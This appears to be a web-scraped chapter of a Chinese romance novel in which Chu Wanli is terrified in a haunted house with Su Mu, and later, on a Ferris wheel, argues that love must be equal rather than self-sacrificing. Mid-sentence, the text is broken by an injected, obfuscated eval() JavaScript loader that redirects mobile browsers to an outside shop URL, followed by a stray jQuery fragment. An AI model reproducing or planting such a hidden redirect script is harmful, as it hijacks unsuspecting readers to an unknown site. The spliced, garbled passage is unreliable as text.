“苏,苏暮,你先进。”
初晚黎躲在他身后,双手揪着他背后的衣服,本来毫无褶皱的衬衫,在她手里已经快被攥成腌菜了。
不过当事人并不在意,反而因此有了被需要感,正暗自偷喜。
“你不是喜欢看鬼片吗?”
但是苏暮也有点不解,她在家还经常特意选择晚上去看些惊悚片,有时甚至还哈哈大笑,怎么现在反而好像没胆量了。
“好。”他应声,毫不犹豫迈了进去。
初晚黎还没反应过来,就随着他踏入了这阴森小屋。
“唰。”
也不知是故意的还是刚好到了间隔时间,本就狭窄的道路两旁亮起了幽幽烛火,墙壁上还泼有血迹。
虽然她也知道那就是点颜料,但伴随着这数量可观的蜡烛,看起来还是很有视觉冲击力的。
而且,还没来得及看清细节,烛火就熄灭了,她甚至都还没来得及尖叫,现如今又只能凭借门口工作人员递给苏暮的那个微弱手电。
“我们快点走。”
她不想在这鬼地方多待一秒了。
“嗯。”
但是苏暮刚加速几步,她又喊停。
“慢点慢点。”
本来就看不清,走快了会有摔跤的危险。
“好。”他也不恼,任凭初晚黎这样指挥自己。
“我好冤啊~”
不知从哪飘来句鬼叫,声音听起来还十分空灵,显得更加可怕了。
尤其目前这里只有这一条路,想逃都没辙。
“别怕别怕。”
苏暮衣领一紧,明显感觉到自己背后的那双手捏的更用力了,于是乎往后伸手,拍了拍初晚黎的背。
“嗯。”只是个单字,但也能听出来其中带着的一丝颤颤巍巍。
好不容易走到尽头,却来到了个分叉路。
“想往哪?”
“随便。”别问她这些啦!快出去才是王道。
他左右探了下头,左边能隐约闻到种香甜味道,好似面包店出炉的香气,右边能明确听到鬼叫,“冤啊,冤。”
那还是果断左边吧。
他本以为初晚黎进来会很兴奋,没想到却是这样,整个人甚至在他背后瑟瑟发抖。
“那就左边喽。”
“嗯。”
看来选择的挺对,走进去好久都很太平,耳边也没有那鬼哭狼嚎声了,他正想停下来安慰下初晚黎。
“呲呲嚓嚓。”
不知从哪冒出了好像是尖锐物品摩擦的声音,而且随着深入,声音听起来也在逼近。
“苏,苏暮。嘶~”她磕巴起来,甚至咬到了自己舌头,血腥味瞬间布满口腔,“这什么声音啊~”
“不知道,但是我在呢,别怕。”
“嗯。”
安慰的话此时没有任何效果,她的腿都开始抖个没完了。
“呲呲嚓嚓。”声音更近了。
“咔咔。”停下了。
此时正好来到了个空旷的房间。
“呵呵。”身边传来了怪笑声。
“唰”烛火又猛地亮起。
一个身着残破衣衫的人形生物低着头,双手也垂着,然而。
当他抬起头的一瞬,举起个胳膊,手上拿着把菜刀,脸上也同时露出了狰狞笑容,还沾着早就干涩的红色。
“妈呀!”她大喊一嗓子,几乎是跳着离开了苏暮身边。
先不说这造型,拿个菜刀追人也太危险了吧,万一摔跤了,不把人误伤了!
也不知是对这鬼形象的恐惧还是对尖锐刀具的恐惧,总之初晚黎现在整个人就是怕上加怕。
“别怕别怕。”苏暮想把她护在身后,但显然失败了。
她整个人处于失去了理智的状态,就像炸毛了的猫,谁都别想近她身。
得,苏暮现在后悔莫及,早知道这么个情形,自己定是不会带她来鬼屋的。
也不知道这失控的场面怎么结束,但似乎比想象的要快。
“咚!”
某人撞到了玻璃上,他扶额,这问都不用去问,听声音都能知道。
好在因此初晚黎也算恢复了理智吧,整个人坐了个屁股蹲儿,手下意识按着磕到的地方,而那工作人员也懵了,赶紧停下,慢慢靠过来,生怕她又惊到。
“对不起。”苏暮说着凑上前来,将她扶起,护到怀中,看到旁边小心翼翼又带着点害怕神情的工作人员,只是挥挥手,道了声没事,然后就这样,初晚黎也不知道自己怎么就走出了鬼屋,重获光明。
“对不起,都是我的问题。”
他又道歉。
“没事。”大抵是没事吧。
她又摸摸脑袋,别给脑门撞凹陷了就行,不然那多丑啊。
“早知道你这么怕,我就不该拉你去。”
他字里行间都透露着愧疚,更别说神态了,整个人深叹一口气,低着头,也不愿与初晚黎有眼神对视。
其实初晚黎除了被吓蒙,也没什么大事,尤其出来后,晒了晒太阳,感觉自己已经恢复如初了。
“没事的。”她看向苏暮,奈何对方迟迟不跟她有眼神回应。
想要掰过他的脑袋,迫使他和自己对视,于是乎,奋力踮起脚,然后用尽全力伸长胳膊,才勉强够到,可还没来及用力掰,整个人就因重心不稳要向后仰头倒去。
今天这是什么运气啊。
正当她打算放弃抵抗的时候,苏暮拦腰搂住了她。
但这不是什么少女漫,没有四周飘散的粉红泡泡,更没有满是花朵的特效,只能听到,“嘎嘣”一声。
“啊!”
她的老腰啊!
就这样,初晚黎与苏暮的午后,都是在公园椅上度过的。
还好,游乐园里配有药店,她索性让苏暮买了几盒药贴,贴满了腰一圈。
他也有劝初晚黎干脆回家休息算了,可对方执拗不听,好不容易才出来一趟,怎么能这么容易就回去!她心有不甘。
许是因为年轻,她的腰到了快夕阳下沉的时候就不再那么痛了,于是提议游玩一些舒缓项目。
俩人便意见一致,前往了游乐园的经典项目----摩天轮。
也许是天色未暗,大多数人还在忙着游玩别的项目,所以排了没多久就到了她们。
苏暮生怕她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597944|203617||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
再扭着,小心护着她,确保她坐稳了自己才匆匆进去。
天空渐渐染上一片火红,云朵散漫,当摩天轮渐渐上升,好似自己也要融入这画卷中。
俩人安静了片刻,初晚黎看了看苏暮背后的景色后,眼神有点不自在,不知该往哪放,索性看向脚下。
苏暮则一直目光向下好像在发着呆。
“今天。”他开口打破了这份沉静,“实在是不好意思。”
“别这样。”她挠挠头,看向前方,“再说对不起就太见外了。”
“可是。”他终于肯抬头,俩人目光相视。
“哪有那么多可是啊。”其实初晚黎多少已经感觉到了他的不对劲。
苏暮总是在退让,在让着自己。
有些时候她自己都反思,自己有很多过于无理取闹的时候,可他从来都没生过气,甚至,还在害怕她会不开心。
怎么说呢,过于的,委曲求全了。
“所以,你呢,你今天又怎么样,玩得开心吗?”
“我。”他顿了下,“你开心,我就开心。”
“我问的是你。”她一字一句说的认真,丝毫没有用开玩笑的口吻,“主语是你。”
苏暮又低下头,许是不知道一时如何回答,可初晚黎对他的反应并不满意,但也不急着催他做出回应。
“是开心的。”
“可你压根都没玩什么。”她掰着手指算了起来。
“刚开园我的身体就拖累了你。”
“这没什么,人都会不舒服。”
“后来去鬼屋更是,我让你自己去玩玩别的项目逛逛,你压根都不听。”
“我怎么可能放你一个人在那。”
“所以啊,你压根都没把自己的需求放在首位。”
“我更想让你开心。”
“可你这样委曲求全,一味只是在乎我的看法,不顾虑自己,我又怎么能开心的起来。”
“为什么。”他眼神充满不解。
“爱人必先爱己。”
“可是看着你开心,我就很满足了啊。”
“我知道,但这样也会让我自责不是吗。”
“是我自愿。”
“人与人的感情应是相互的,没有谁该委屈了自己,如果那样,感情就不平等了。”
倒也不是计较谁付出的多或者少,而是一段关系要想要健康持久,本就应该平等。
没有谁应该委屈自己多一些,也没有谁应该付出更多。
健康的爱,本就应以“平等”为前提。
大家都是明事理的成年人,有时候的退让其实并不公平,说明当事人并没把对方当做成年人来对待,而更像是对待孩子,为了退一步海阔天空,不去选择讲道理,而是所谓宠溺的退步。
但这样,退让的人可能终有一天憋够了一肚子委屈选择离去,而对方可能自始至终都无法理解这结局是如何导致的。
就算再爱,再喜欢,都要保持自我底线,而不是无底线去溺爱对方。
就如苏暮这样,其实初晚黎压力也挺大。
她分不清对方究竟哪句是发自内心的,哪句是为了自己而咽下的委屈。